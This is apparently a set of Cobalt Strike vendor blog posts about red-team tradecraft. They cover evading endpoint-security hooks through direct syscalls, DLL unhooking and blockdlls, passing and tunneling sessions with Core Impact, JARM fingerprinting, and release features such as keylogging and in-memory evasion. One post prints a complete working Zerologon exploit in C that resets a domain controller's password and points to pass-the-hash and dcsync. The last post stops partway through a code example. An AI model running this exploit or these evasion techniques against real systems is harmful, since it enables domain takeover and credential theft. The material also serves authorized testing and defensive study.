Pushing back on userland hooks with Cobalt Strike

When I think about defense in the current era, I think of it as a game of instrumentation and telemetry. A well-instrumented endpoint provides a defense team and an automated security solution with the potential to react to or have visibility into a lot of events on a system. I say a lot, because certainly some actions are not easy to see [or practical to work with] via today’s instrumentation methods.

A popular method to instrument Windows endpoints is userland hooking. The process for this instrumentation looks like this:

(a) load a security product DLL into the process space [on process start, before the process starts to do anything]

(b) from the product DLL: installs hooks into certain APIs of interest. There are a lot of different ways to hook, but one of the most common is to patch the first instructions in a function-of-interest to jump to the vendor’s code, do the analysis, execute the patched over instructions, and resume the function just after the patch.

This method of instrumentation is popular because it’s easy-ish to implement, well understood, and was best practice in security products for a very long time. It’s still common in a lot of security technologies today.

The downside of the above instrumentation method is that it’s also suscpetible to tamper and attack by an adversary. The adversary’s code that lives in a process has the same rights and ability to examine and change code as the security product that installed itself there.

The above possibility is the impetus for this blog post. I’d like to walk you through a few strategies to subvert instrumentation implemented as userland hooks with the Cobalt Strike product.

Which products use hooks and what do they hook?

Each of these techniques does benefit from awareness of the endpoint security products in play and how [also, if] they use userland hooks to have visibility.  Devisha Rochlani did a lot of work to survey different products and document their hooks. Read the Anti-virus Artifacts papers for more on this.

To do target-specific leg work, consult Matt Hand’s Adventures in Dynamic Evasion. Matt discusses how to identify hooks in a customer’s environment right now and use that information to programatically craft a tailored evasion strategy.

Avoid Hooks with Direct System Calls

One way to defeat userland hooks is to avoid them by making system calls directly from our code.

A direct syscall is made by populating registers with arguments and a syscall number that corresponds to an API exposed to userland by the operating system kernel. The system call is then invoked with the syscall instruction. NTDLL is largely thin wrappers around these kernel APIs and is a place some products insert their hooks. By making syscalls directly from our code, and not calling them via NTDLL (or an API that calls them via NTDLL), we avoid these hooks.

The value of this technique is that we deny a security product visibility into our actions via this means. The downside is we have to adapt our code to working with these APIs specifically.

If a security product isn’t using userland hooks this technique provides no evasion value. If we use system calls for uninteresting (e.g., not hooked) actions–this technique provides no evasion value.

Also, be aware that direct system calls (outside of specific contexts, like NTDLL) can be disabled process-by-process in Windows 10. This is the ProcessSystemCallDisablePolicy. If something can be disabled, I surmise it can also be monitored and used for detection purposes too. This leads to a familiar situation. A technique that provides evasion utility now can also provide detection opportunities later on. This is a trueism with most things offense. Always keep it in mind when deciding whether or not to use a technique like this.

With the above out of the way, what are some opportunities to use system calls from Cobalt Strike’s Beacon?

One option is to use system calls in your EXE and DLL artifacts that run Cobalt Strike’s Beacon. The blog post Implementing Syscalls in the Cobalt Strike Artifact Kit walks through how to do this for Cobalt Strike’s EXEs and DLLs. The post’s author shared that VirtualAlloc, VirtualProtect, and CreateThread are calls some products hook to identify malicious activity. I’d also go further and say that if your artifact spawns a process and injects a payload into it, direct syscalls are a way to hide this behavior from some security stacks.

Another option is to use system calls within some of your Beacon post-exploitation activities. While Beacon doesn’t use direct system calls with any of its built-ins, you can define your own built-ins with Beacon Object Files. Cornelis de Plaa from Outflank authored Direct Syscalls from Beacon Object Files to demonstrate how to use Jackson T.‘s Syswhispers 1 (Syswhispers 2 just came out!) from Beacon Object Files. As a proof-of-concept, Cornelis released a Beacon Object File to restore plaintext credential caching in LSASS via an in-memory patch.

Building on the above, Alfie Champion used Outflank’s foundation and re-implemented Cobalt Strike’s shinject and shspawn as Beacon Object Files that use direct system calls. This provides a way to do process injection from Cobalt Strike, but evade detections that rely on userland hooks. The only thing that’s missing is some way for scripts to intercept Cobalt Strike’s built-in fork&run actions and override the built-in behaviors with a BOF. Hmmmmm.

Refresh DLLs to Remove Function Hooks

Another way to defeat userland hooks is to find hooks implemented as code patches and restore the functions to their original uninstrumented state. One way to do this is to find hooked DLLs in memory, read the original DLL from disk, and use that content to restore the mapped DLL to its unhooked state. This is DLL refreshing.

The simplest case of DLL refreshing is to act on NTDLL. NTDLL is a good candidate, because its really easy to refresh. You don’t have to worry about relocations and alternate API sets. NTDLL is also a good candidate because it’s a target for security product hooks! The NTDLL functions are often the lowest-level API that other Windows APIs call from userland. A well-placed hook in NTDLL will grant visibility into all of the userland APIs that use it.

You can refresh NTDLL within a Cobalt Strike Beacon with a Beacon Object File. Riccardo Ancarani put together a proof-of-concept to do this. Compile the code and use inline-execute to run it.

If NTDLL is not enough, you can refresh all of the DLLs in your current process. This path has more peril though. The DLL refreshing implementation needs to account for relocations, apisets, and other stuff that makes the unhooked code on disk differ from the unhooked code in memory. Jeff Tang from Cylance’s Red Team undertook this daunting task in 2017 and released their Universal Unhooker (whitepaper).

I’ve put together a Beacon Object File implementation of Cylance’s Universal Unhooker. The script for this BOF adds an unhook alias to Beacon. Type unhook and Beacon will pass control to the unhooker code, let it do its thing, and then return control back to Beacon.

Both of these techniques are great options to clean your Beacon process space before you start into other offense activities.

While the above are Beacon Object Files and presume that your Beacon is already loaded, you may also find it’s worthwhile to implement DLL refreshing in your initial access artifact too. Like direct system calls, this is a way to defeat userland hooking visibility that could affect your agent loading or its initial communications.

Prevent Hooks via Windows Process Mitigations

So far, we’ve discussed ways to defeat hooks by either avoiding them or undoing them. It’s possible to prevent hooking altogether too.

I became interested in this approach, when I learned that Google Chrome takes many steps to prevent security products from loading into its process space. Google was tired of entertaining crash reports from poorly implemented endpoint security products and opted to fight back against this in their own code. I share Google’s concerns about allowing an endpoint security product to share space with my post-exploitation code. My reasons are different, but we’re very much aligned on this cause!

The above led me to experiment with the Windows 10 process mitigation policy, BinarySignaturePolicy. A process run with a BinarySignaturePolicy of MicrosoftSignedOnly will refuse to load any DLL not signed by Microsoft into that process space. This mitigation prevents some security products from loading their DLLs into the new process space.

I opted to use the above to implement blockdlls in Cobalt Strike 3.14. blockdlls is a session prepping command to run processes with this flag set. The idea of blockdlls is processes spawned by Beacon will be free to act with less scrutiny, in some situations.

There are caveats to blockdlls. The mitigation is a recent-ish Windows 10 addition. It doesn’t work on versions of Windows where this mitigation isn’t implemented. Duh! And, security vendors do have the option to get Microsoft to sign their DLLs via an attestation service offered by Microsoft. A few made this exact move after Cobalt Strike weaponized this mitigation in version 3.14.

For more information on this technique and its variations, read Adam Chester’s Protecting Your malware with blockdlls and ACG. It’s a great overview of the technique and also discusses variations of the same idea.

Like direct system calls, I see the use of process mitigations as an evasion that is also potentially its own tell. Be aware of this tradeoff. Also, like direct system calls, this is an option that has use both during post-exploitation and in an initial access artifact. Any initial access artifact that performs migration (again, Cobalt Strike’s service executables do this) could benefit from this approach in some security stacks too.

Closing Thoughts

And, there you have it. This blog posted presented a few different techniques to defeat userland hooks with Cobalt Strike. Better, each of these techniques delivers benefit at different places in Cobalt Strike’s engagement cycle.

Be aware that each of these methods is beneficial in very specific circumstances. None of the above will have impact against technologies that do not use userland hooks for instrumentation. Offense is always about trade-offs. Knowing the techniques available to you and knowing their trade-offs will help you assess your situation and decide the best way forward. This is key to good security testing engagements.

Agent Deployed: Core Impact and Cobalt Strike Interoperability

Core Impact 20.3 has shipped this week. With this release, we’re revealing patterns for interoperability between Core Impact and Cobalt Strike. In this post, I’ll walk you through these patterns and provide advice on how to get benefit using Cobalt Strike and Core Impact together.

A Red Team Operator’s Introduction to Core Impact

Prior to jumping into the patterns, I’d like to introduce you to Core Impact with my voice. Core Impact is a commercial penetration testing tool and exploit framework that has had continuous development since 1998.

Impact is a collection of remote, local, and client-side attacks for public vulnerabilities and other common offense actions. We implement [with special attention to QA] our own exploits as well. While we announce 2-3 product updates per year, we push new modules and module updates in between releases too.

Impact is also a collection of post-exploitation agents for Windows, Linux, other *NIX flavors (to include OS X), and Cisco IOS. While Windows has the most features and best support, our *NIX agents are robust and useful. The pivoting model and interface for these platforms is largely unified. The Impact agent is one of my favorite parts of the product.

Core Impact also has a graphical user interface to bring all of these things together. It’s quirky and does have a learning curve. But, once you grok the ideas behind it, the product clicks and it is thought out.

While Core Impact was long-marketed as a vulnerability verification tool [notice: I’m not mentioning the automation], it’s clear to me that the product was architected by hackers. This hacker side of Core Impact is what I’d like to show you in this video walk-through:

Session Passing from Core Impact to Cobalt Strike

One of the most important forms of tool interoperability is the ability to pass sessions between platforms.

Core Impact 20.3 includes a Run shellcode in temporary process module to support session passing. This module spawns a temporary process and injects the contents of the specified file into it. The module does support spawning code x86 -> x86, x64 -> x64, and x64 -> x86.

To pass a session from Core Impact to Cobalt Strike:

[Cobalt Strike]

1. Go to Attacks -> Packages -> Windows EXE (S)
2. Press … to choose your listener
3. Change Output to raw
4. Check x64 if you wish to export an x64 payload.
5. Press Generate and save the file

[Core Impact]

1. Right-click on the desired agent and click Set as Source
2. Find the Run shellcode in temporary process module and double-click it.
3. Set ARCHITECTURE to x86-64 if you exported an x64 payload
4. Set FILENAME to the file generated by Cobalt Strike
5. Press OK

This pattern is a great way to spawn Cobalt Strike’s Beacon after a successful remote or privilege escalation exploit with Core Impact.

Session Passing from Cobalt Strike to Core Impact

You can also spawn a Core Impact agent from Cobalt Strike too. If Core Impact and Cobalt Strike can reach the same network, this pattern is a light way to turn an access obtained with Beacon (e.g., via phishing, lateral movement, etc.) into an Impact agent.

[Core Impact]

1. Find the Package and Register Agent module and double-click it.
2. Change ARCHITECTURE to x86-64 if you’d like to export an x64 agent
3. Change BINARY TYPE to raw
4. Change TARGET FILE to where you would like to save the file
5. Expand Agent Connection
6. Change CONNECTION METHOD and PORT to fit your preference. I find the Connect from target (reverse TCP connection) is the most performant.

[Cobalt Strike]

1. Interact with a Beacon
2. Type shspawn x64 if you exported an x64 agent. Type shspawn x86 if you exported an x86 agent.
3. Find the file that you exported.
4. Press Open.

In a few moments, you should hear that famous New Agent Deployed wav.

Tunnel Core Impact exploits through Cobalt Strike

Core Impact has an interesting offensive model. Its exploits and scans do not originate from your Core Impact GUI. The entire framework is architected to delegate offense activity through a source agent. The currently selected source agent also acts as a controller to receive connections from reverse agents [or to connect to and establish control of bind agents]. In this model, the offense process is: start with local agent, find and exploit target, set new agent as source agent, find and exploit newly visible targets, repeat until satisfied.

As the agent is the main offense actor in Core Impact, tunneling Core Impact exploits is best accomplished by tunneling the Core Impact agent through Cobalt Strike’s Beacon.

Cobalt Strike 4.2 introduced the spunnel command to spawn Core Impact’s Windows agent in a temporary process and create a localhost-only reverse port forward for it. Here are the steps to tunnel Core Impact’s agent with spunnel:

[Core Impact]

1. Click the Modules tab in the Core Impact user interface
2. Search for Package and Register Agent
3. Double-click this module
4. Change Platform to Windows
5. Change Architecture to x86-64
6. Change Binary Type to raw
7. Click Target File and press … to decide where to save the output.
8. Go to Agent Connection
9. Change Connection Method to Connect from Target
10. Change Connect Back Hostname to 127.0.0.1
11. Change Port to some value (e.g., 9000) and remember it.
12. Press OK.

[Cobalt Strike]

1. Interact with a Beacon
2. Type spunnel x64 [impact IP address] 9000 and press enter.
3. Find the file that you exported.
4. Press Open.

This similar to passing a session from Cobalt Strike to Core Impact. The difference here is the Impact agent’s traffic is tunneled through Cobalt Strike’s Beacon payload.

What happens when Cobalt Strike’s team server is on the internet and Core Impact is on a local Windows virtual machine? We have a pattern for this too. Run a Cobalt Strike client from the same Windows system that Core Impact is installed onto. Connect this Cobalt Strike client to your team server. In this setup, run spunnel_local x64 127.0.0.1 9000 to spawn and tunnel the Impact agent through Beacon. The spunnel_local command is like spunnel, with the difference that it routes the agent traffic from Beacon to the team server and onwards through your Cobalt Strike client. The spunnel_local command was designed for this exact situation.

Next step: Request a trial

The above options are our patterns for interoperability between Core Impact and Cobalt Strike.

If you have Cobalt Strike and would like to try these patterns with Core Impact, we recommend that you request a trial of Core Impact and try it out.

A Red Teamer Plays with JARM

I spent a little time looking into Saleforce’s JARM tool released in November. JARM is an active tool to probe the TLS/SSL stack of a listening internet application and generate a hash that’s unique to that specific TLS/SSL stack.

One of the initial JARM fingerprints of interest relates to Cobalt Strike. The value associated with Cobalt Strike is:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

To generate a JARM fingerprint for an application, use the JARM python tool:

python3 jarm.py [target] -p [port]

I opted to dig into this, because I wanted to get a sense of whether the fingerprint is Cobalt Strike or Java.

Cobalt Strike’s JARM Fingerprint is Java’s JARM Fingerprint

I started my work with a hypothesis: Cobalt Strike’s JARM fingerprint is Java’s JARM fingerprint. To validate this, I created a simple Java SSL server application (listens on port 1234) in Sleep.

import javax.net.*;
import javax.net.ssl.*;

$factory = [SSLServerSocketFactory getDefault];
$server  = [$factory createServerSocket: 1234];
[$server setSoTimeout: 0];

if (checkError($error)) {
	warn($error);
}

while (true) {
	$socket = [$server accept];	
	[$socket startHandshake];
	[$socket close];
}

I ran this server from Java 11 with:

java -jar sleep.jar server.sl

I assessed its JARM fingerprint as:

00000000000000000042d41d00041d7a6ef1dc1a653e7ae663e0a2214cc4d9

Interesting! This fingerprint does not match the supposed Cobalt Strike fingerprint. Does this mean we’re done? No.

The current popular use of JARM is to fingerprint web server applications listening on port 443. This implies that these servers have a certificate associated with their TLS communications. Does this change the above JARM fingerprint? Let’s setup an experiment to find out.

I generated a Java keystore with a self-signed certificate and I directed my simple server to use it:

keytool -keystore ./exp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -dname “CN=,OU=,O=,L=,S=,C=”
java -Djavax.net.ssl.keyStore=./exp.store -Djavax.net.ssl.keyStorePassword=123456 -jar sleep.jar server.sl

The JARM result:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

Interesting. We’ve validated that the above JARM fingerprint is specific to a Java 11 TLS stack.

Another question: is the JARM fingerprint affected by Java version? I setup several experiments and validated that yes, different major Java versions have different JARM fingerprints in the above circumstance.

How many Java-native Web servers are on the internet?

Part of the value of JARM is to turn the internet haystack into something smaller for an analyst to sift through. I wanted to get a sense of how much Java is on the internet. Fortunately, this analysis was easy thanks to some timely and available data. Silas Cutler had scanned the internet for port 443 and obtained JARM values for each of these hosts. This data was made available as an SQLite database too. Counting through this data was a relatively easy exercise of:

sqlite> .open jarm.sqlite
sqlite> select COUNT(ip) FROM jarm WHERE hash = “[hash here]”;

Here’s what I found digging through this data:

Application Count JARM Hash
Java 1.8.0 21,099 07d14d16d21d21d07c07d14d07d21d9b2f5869a6985368a9dec764186a9175
Java 1.9.0 9 05d14d16d04d04d05c05d14d05d04d4606ef7946105f20b303b9a05200e829
Java 11.05 2,957 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
Java 13.01 0 2ad2ad16d2ad2ad22c42d42d00042d58c7162162b6a603d3d90a2b76865b53

I went a slight step further with this data. I opted to convert the Java 11.05 data to hostnames and eyeball what appeared as interesting. I found several mail servers. I did not investigate which application they are. I found an instance of Burp Intruder (corroborating Salesforce’s blog post). I also found several instances of Oracle Peoplesoft as well. These JARM hashes are a fingerprint for Java applications, in general.

Closing Thoughts

For defenders, I wouldn’t act on a JARM value as proof of application identity alone. For red teamers, this is a good reminder to think about pro-active identification of command and control servers. This is a commoditized threat intelligence practice. If your blue team uses this type of information, there are a lot of options to protect your infrastructure. Part 3 of Red Team Operations with Cobalt Strike covers this topic starting at 1h 26m 15s:

JARM is a pretty cool way to probe a server and learn more about what it’s running. I’d love to see a database of JARM hashes and which applications they map to as a reconaissance tool. The C2 fingerprinting is a neat application of JARM too. It’s a good reminder to keep up on your infrastructure OPSEC.

verify.cobaltstrike.com outage summary

Cobalt Strike’s update process was degraded due to a data center outage that affected https://verify.cobaltstrike.com. The verify server is back up and the functionality of our update process is restored.

Here’s the timeline of the incident:

November 10, 2020 – 5:15pm EST The Cobalt Strike update process is degraded. You may still download and update the product. The verification step is unavailable. You will see a warning about verify.cobaltstrike.com not accepting connections during the update process. There is a data center networking issue that impacted our verification server. We are working with our service provider and monitoring the issue.

November 10, 2020 – 9:35pm EST The data center network issue was a planned power outage gone awry. We will bring the verify server online once connectivity is restored.

November 11, 2020 12:20pm EST The power outage caused a hardware failure with our provider. Our provider is working to address this. We have the option to migrate verify elsewhere, but are waiting out the restoration of the current server at this time.

November 11, 2020 1:05pm EST The verify server is back online and this incident is resolved.

What is the verify server?

The verify server is where we publish SHA-256 hashes of the Cobalt Strike product and its distribution packages. Our update program pins the certificate of this server and uses its hashes to verify the integrity of the product download. When the update program is unable to complete this process, it gives you the option to continue, but it warns that you should not.

The verify server exists on infrastructure separate from other parts of the Cobalt Strike update process. This outage did not affect other parts of our update infrastructure.

Cobalt Strike 4.2 – Everything but the kitchen sink

Cobalt Strike 4.2 is now available. This release overhauls our user exploitation features, adds more memory flexibility options to Beacon, adds more behavior flexibility to our post-exploitation features, and makes some nice changes to Malleable C2 too.

User Exploitation Redux

Cobalt Strike’s screenshot tool and keystroke logger are examples of user exploitation tools. These capabilities are great for risk demonstration and story telling. But, with good UX, these features are also powerful capabilities to collect information that aids moving closer to an objective in a network.

Cobalt Strike’s screenshot tool and keystroke logger now report active window, username, and desktop session with each of their results. This context helps our GUI, logs, and reports display where this information came from. It’s a subtle change, but a big enhancement:

The right-click menu in the screenshot and keystroke has updates too. You can now remove a keystroke buffer or screenshot from the interface. Highlight a row with a color. And, save the keystroke buffer or screenshot to a local file as well.

We also split screenshot into two commands: screenshot and screenwatch. The screenshot command takes a single screenshot. The screenwatch command (which can fork&run or inject into a specific process) takes screenshots continuously until it’s stopped with the jobkill command.

As believers in offense in depth, we’ve added new options to acquire screenshots and log keystrokes too. The printscreen command forces a PrintScr keypress and grabs the screenshot from the clipboard. This command was inspired by the creative and awesome Advanced Post-Exploitation Workshop given by @zerosum0x0 and @aleph__naught at 2017’s DEF CON 25. And, we’ve added a post-ex -> keylogger Malleable C2 option to change the keystroke logger between GetAsyncKeyState and SetWindowsHookEx methods.

More In-memory Flexibility

Cobalt Strike has long had an interest in in-memory detection and evasion. I love in-memory detections, because I think these tactics put real pressure on post-exploitation survival. But, it’s also important to challenge security teams that rely on these tactics, to force thinking beyond that “one easy trick” that’s working right now.

Cobalt Strike 4.2 continues to build Beacon’s in-memory flexibility.

Beacon’s Reflective Loader now has two added options for allocating memory for the Beacon payload in memory. Set stage -> allocator to HeapAlloc to use RWX heap memory for the Beacon payload. Set stage -> allocator to MapViewOfFile to stick Beacon in mapped memory. This is in addition to VirtualAlloc (the default) and 3.11’s module stomping, which is our way of putting Beacon into image memory.

We’ve also added new options for content flexibility. Beacon’s Reflective DLL follows Metasploit’s conventions to make itself self-bootstrapping. We patch the beginning of the DLL (the part with that MZ header) with instructions to call the Reflective Loader with a few arguments. A common in-memory detection trick is to scan executable memory regions for MZ and PE content that looks like a PE/COFF file. These items are easy “it has to be there” content to find a Reflective DLL. Not anymore though.

Set magic_mz_x86 to change the x86 Reflective DLL MZ header in Beacon. This updates the other parts of the loading process that depend on the value. The catch is that valid x86 instructions are required for magic_mz_x86. For example, MZ in x86 are the instructions dec ebp, pop edx. You don’t want to begin execution with unexpected state, so it’s also recommended to undo any state changes made by your instructions. This is why the default magic_mz_x86 value is MZRE. The R and E bytes decode to push edx, inc ebp. They undo the effect of the MZ instructions. The same idea applies for set magic_mz_x64 too.

We’ve also added set magic_pe which changes the PE header magic bytes (and code that depends on these bytes) to something else. You can use whatever you want here, so long as it’s two characters.

Post-ex Omikase Shimasu: Second serving

Cobalt Strike 3.14 introduced a lot of options to change behaviors, characteristics, and content in Cobalt Strike’s post-exploitation DLLs. Cobalt Strike 4.2 continues this work.

We’ve added post-ex -> pipename to Malleable C2. This is an option to specify a comma-separated list of pipenames. Cobalt Strike will choose one of these when it executes its post-exploitation jobs. #s in the pipename are replaced with a [a-f0-9] character. We’ve also added set ssh_pipename to change the named pipe used by Cobalt Strike’s SSH client. Multiple pipenames are allowed in this option too.

Some of Beacon’s post-exploitation DLLs do create threads. In a keystroke logger that uses GetAsyncKeyState, this isn’t easily avoidable. 🙂 To help these situations, we’ve introduced post-ex -> thread_hint to Malleable C2. When set, our post-ex DLLs will create a suspended thread with the specified module!function+0x[offset] address. Update the thread to run the post-exploitation capability. And, resume it. This is a way to push back on point-in-time analysis that looks for moduleless thread start addresses.

And, one of my favorite features in Cobalt Strike is the obfuscate and sleep feature. This is the ability for Beacon to mask its content [and code, if you’re RWX] in memory during long blocking periods. Obfuscate and sleep is a method to push back on point-in-time analysis that looks for known strings in memory. Now, when post-ex -> obfuscate is true, Cobalt Strike’s execute-assembly, keystroke logger, screenshot, and SSH client features will mask many of their strings while they’re running.

Malleable C2 Things…

And, we’ve made several updates to the communicate side of Malleable C2. We’ve doubled the maximum size of the global useragent field. We’ve also doubled the max size of the the http-get -> client and http-post -> client programs too. This will help those of you that had run into the previous limits in your profile writing.

This release adds the global headers_remove option. This option affects http-get and http-post client blocks. It’s a late-in-the-transaction option to remove unwanted HTTP client headers from the communication. WinINet, based on its configuration, will force some headers into the transaction. You may specify specify multiple unwanted headers (separate them with commas) in this option.

And, Cobalt Strike 4.2 introduces a data content jitter as well. Set data_jitter to a number value and Cobalt Strike will append a random content and length string (up to the data_jitter value bytes) to its http-get and http-post server output.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.2. Licensed users may run the update program to get the latest. To procure Cobalt Strike (or ask about evaluation options), please contact us for more information.

Beacon Object File ADVENTURES: Some Zerologon, SMBGhost, and Situational Awareness

Cobalt Strike can use PowerShell, .NET, and Reflective DLLs for its post-exploitation features. This is the weaponization problem set. How to take things, developed outside the tool, and create a path to use them in the tool. One of the newest weaponization options in Cobalt Strike are Beacon Object Files.

A Beacon Object File is a tiny C program that is compiled as an object and parsed, linked, and executed by Cobalt Strike’s Beacon payload. The value of Beacon Object Files is that they’re small, they have less execution baggage than the other methods (e.g., no fork and run), and they’re not that bad to develop either.

In this post, I’d like to share with you a few examples of how to extend Cobalt Strike with Beacon Object Files.

CVE-2020-1472 (aka Zerologon)

Let’s start with CVE-2020-1472, aka the Zerologon exploit. This is an opportunity to remotely attack and gain privileged credential material from an unpatched Windows Domain Controller.

This is a risky attack to carry out. It resets the machine account password for the target domain controller. This will break the domain controller’s functionality. I would limit use of this capability to demonstrations in a snapshotted lab or red vs. blue wargames in a snapshotted lab. I would not use this in production.

Secura, the company that discovered the bug, documents the details of the attack and weaponization chains in their whitepaper. Rich Warren from NCC Group’s Full Spectrum Attack Simulation team published a .NET program that executes this attack too.

While .NET is one path to an exploit, this same capability is a natural fit for a C program too. Here’s the Beacon Object File to exploit CVE-2020-1472 and an Aggressor Script to integrate it into Cobalt Strike:

/*
 * Port of SharpZeroLogon to a Beacon Object File
 * https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
 */
 
#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"
 
typedef struct _NETLOGON_CREDENTIAL {
    CHAR data[8];
} NETLOGON_CREDENTIAL, *PNETLOGON_CREDENTIAL;
 
typedef struct _NETLOGON_AUTHENTICATOR {
    NETLOGON_CREDENTIAL Credential;
    DWORD Timestamp;
} NETLOGON_AUTHENTICATOR, *PNETLOGON_AUTHENTICATOR;
 
typedef  enum _NETLOGON_SECURE_CHANNEL_TYPE{
    NullSecureChannel = 0,
    MsvApSecureChannel = 1,
    WorkstationSecureChannel = 2,
    TrustedDnsDomainSecureChannel = 3,
    TrustedDomainSecureChannel = 4,
    UasServerSecureChannel = 5,
    ServerSecureChannel = 6,
    CdcServerSecureChannel = 7
} NETLOGON_SECURE_CHANNEL_TYPE;
 
typedef struct _NL_TRUST_PASSWORD {
    WCHAR Buffer[256];
    ULONG Length;
} NL_TRUST_PASSWORD, *PNL_TRUST_PASSWORD;
 
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerReqChallenge(LPWSTR PrimaryName, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientChallenge, PNETLOGON_CREDENTIAL ServerChallenge);
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerAuthenticate2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientCredential, PNETLOGON_CREDENTIAL ServerCredential, PULONG NegotiatedFlags);
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerPasswordSet2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_AUTHENTICATOR Authenticator, PNETLOGON_AUTHENTICATOR ReturnAuthenticator, PNL_TRUST_PASSWORD ClearNewPassword);
 
void go(char * args, int alen) {
    DWORD                  i;
    NETLOGON_CREDENTIAL    ClientCh       = {0};
    NETLOGON_CREDENTIAL    ServerCh       = {0};
    NETLOGON_AUTHENTICATOR Auth           = {0};
    NETLOGON_AUTHENTICATOR AuthRet        = {0};
    NL_TRUST_PASSWORD      NewPass        = {0};
    ULONG                  NegotiateFlags = 0x212fffff;
 
    datap                  parser;
    wchar_t *              dc_fqdn;     /* DC.corp.acme.com */
    wchar_t *              dc_netbios;  /* DC */
    wchar_t *              dc_account;  /* DC$ */
 
    /* extract our arguments */
    BeaconDataParse(&parser, args, alen);
    dc_fqdn    = (wchar_t *)BeaconDataExtract(&parser, NULL);
    dc_netbios = (wchar_t *)BeaconDataExtract(&parser, NULL);
    dc_account = (wchar_t *)BeaconDataExtract(&parser, NULL);
 
    for (i = 0; i < 2000; i++) {
        NETAPI32$I_NetServerReqChallenge(dc_fqdn, dc_netbios, &ClientCh, &ServerCh);
        if ((NETAPI32$I_NetServerAuthenticate2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &ClientCh, &ServerCh, &NegotiateFlags) == 0)) {
            if (NETAPI32$I_NetServerPasswordSet2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &Auth, &AuthRet, &NewPass) == 0) {
                BeaconPrintf(CALLBACK_OUTPUT, "Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync", dc_account);
            }
            else {
                BeaconPrintf(CALLBACK_ERROR, "Failed to set machine account pass for %S", dc_account);
            }
 
            return;
        }
    }
 
    BeaconPrintf(CALLBACK_ERROR, "%S is not vulnerable", dc_fqdn);
}

I’ve recorded a demonstration of this attack chain as well:

The above is a good example of a Beacon Object File that implements an of-interest attack. I’ll add that Benjamin Delpy has also added ZeroLogon to mimikatz. I like that he’s extended the options for dcsync to authenticate to a domain controller with the blank credential. This is a cleaner overall attack chain as we run mimikatz once and get the desired outcome. The same “you’ll wreck this DC” caveats apply. That said, the mimikatz implementation is what I’d use going forward.

CVE-2020-0796 (aka SMBGhost)

Another cool exploit is CVE-2020-0796, aka the SMBGhost exploit. This is an escalation of privilege opportunity against an unpatched Windows 10 system.

Core Impact has an implementation of this attack. So does the Metasploit Framework. The Metasploit Framework implementation, based on the POC from Garcia Gutierrez and Blanco Parajon, is compiled as a Reflective DLL. Cobalt Strike is able to use this implementation as-is and I demonstrate this in the Elevate Kit. The privilege escalation lecture of our Red Team Operations with Cobalt Strike course covers this pattern.

What about weaponizing CVE-2020-0796 as a Beacon Object File? This is also pretty easy to do. I found that this exploit was a very straight-forward move from Metasploit’s Reflective DLL implementation to BOF. I posted the BOF code for SMBGhost to Github with an Aggressor Script too. The README.txt documents some of the steps I took as well.


What’s neat about this implementation is that it offers two paths to use this exploit. The first path spawns a session and integrates with Beacon’s elevate (elevate smbghost) command. The exploit itself modified our current process’ token, allowing it to do some privileged things from the current context. This first weaponization path uses these semi-enhanced privileges to inject a payload into winlogon.exe.

The second path, implemented as an smbghost alias, exploits the vulnerability, yields the slightly enhanced privileges, and lets you choose what to do with it. This second path is very much Bring Your Own Weaponization 🙂 I want to re-emphasize the some privileges limitation. The token manipulation, made possible by this exploit, allows us to get away with opening/interacting with processes in the same session–where we couldn’t before. The second step of injecting into a privileged process (or spawning a process under a privileged process) is required to cleanly take on a fully privileged context to work from.

Windows Reconaissance Tools

The above Beacon Object Files are examples I’ve cobbled together. One of my favorite examples of Beacon Object Files come from Christopher Paschen at TrustedSec. Christopher wrote about his experiences with Beacon Object Files in A Developer’s Introduction to Beacon Object Files.

TrustedSec also published a collection of Beacon Object Files (and scripts to integrate them) on Github. The collection is awesome, by the way!

The collection includes several system reconaissance commands that would normally use Cobalt Strike’s fork&run pattern or require you to spawn an external process to get information. It’s a great example of what BOFs enable in this toolset.

To use the collection, simply clone the repository onto your Cobalt Strike system. Then go to Cobalt Strike -> Scripts in Cobalt Strike. Press Load. And navigate to the SA folder (from this repository) and load SA.cna. You will suddenly have a bunch of new aliases you can use from Beacon.

Closing Thoughts…

I hope you’ve enjoyed this tour of Beacon Object Files. If you have working C code for a post-exploitation concept, Beacon Object Files are a path to turn that C code into something that can work from Cobalt Strike. If you want to see another perspective on this process, watch the Cobalt Strike BOF Making episode (14:45 is the start of this discussion) of the HackThePlanet twitch stream. I also wanted to highlight that there’s some great Beacon Object File capability available in the open source space too. Enjoy!

Cobalt Strike 4.1 – The Mark of Injection

Cobalt Strike 4.1 is now available. This release introduces a new way to build post-ex tools that work with Beacon, pushes back on a generic shellcode detection strategy, and grants added protocol flexibility to the TCP and named pipe Beacons.

Beacon Object Files

Cobalt Strike has weaponization options for PowerShell, .NET, and Reflective DLLs. These three options rely on Beacon’s fork&run mechanism. This is Cobalt Strike’s pattern to spawn a process, inject a capability into it, and receive output over a named pipe. This is OK in some engagements. It’s too OPSEC-expensive in others.

We’ve long had requests for some option to run custom capability directly within the Beacon payload, without fork&run. Beacon Object Files are our answer to this request. Beacon Object Files are a way to build small post-ex capabilities that execute in Beacon, parse arguments, call a few Win32 APIs, report output, and exit.

A Beacon Object File is an object file, produced by a C compiler, that is linked and loaded by Cobalt Strike. Beacon Object Files can call Win32 APIs and have access to some internal Beacon APIs (e.g., for output, token impersonation, etc.).

Here’s an example Beacon Object File (it’s Beacon’s ‘net domain’ command):

#include <windows.h>
#include <stdio.h>
#include <LM.h>
#include <dsgetdc.h>
#include "beacon.h"
 
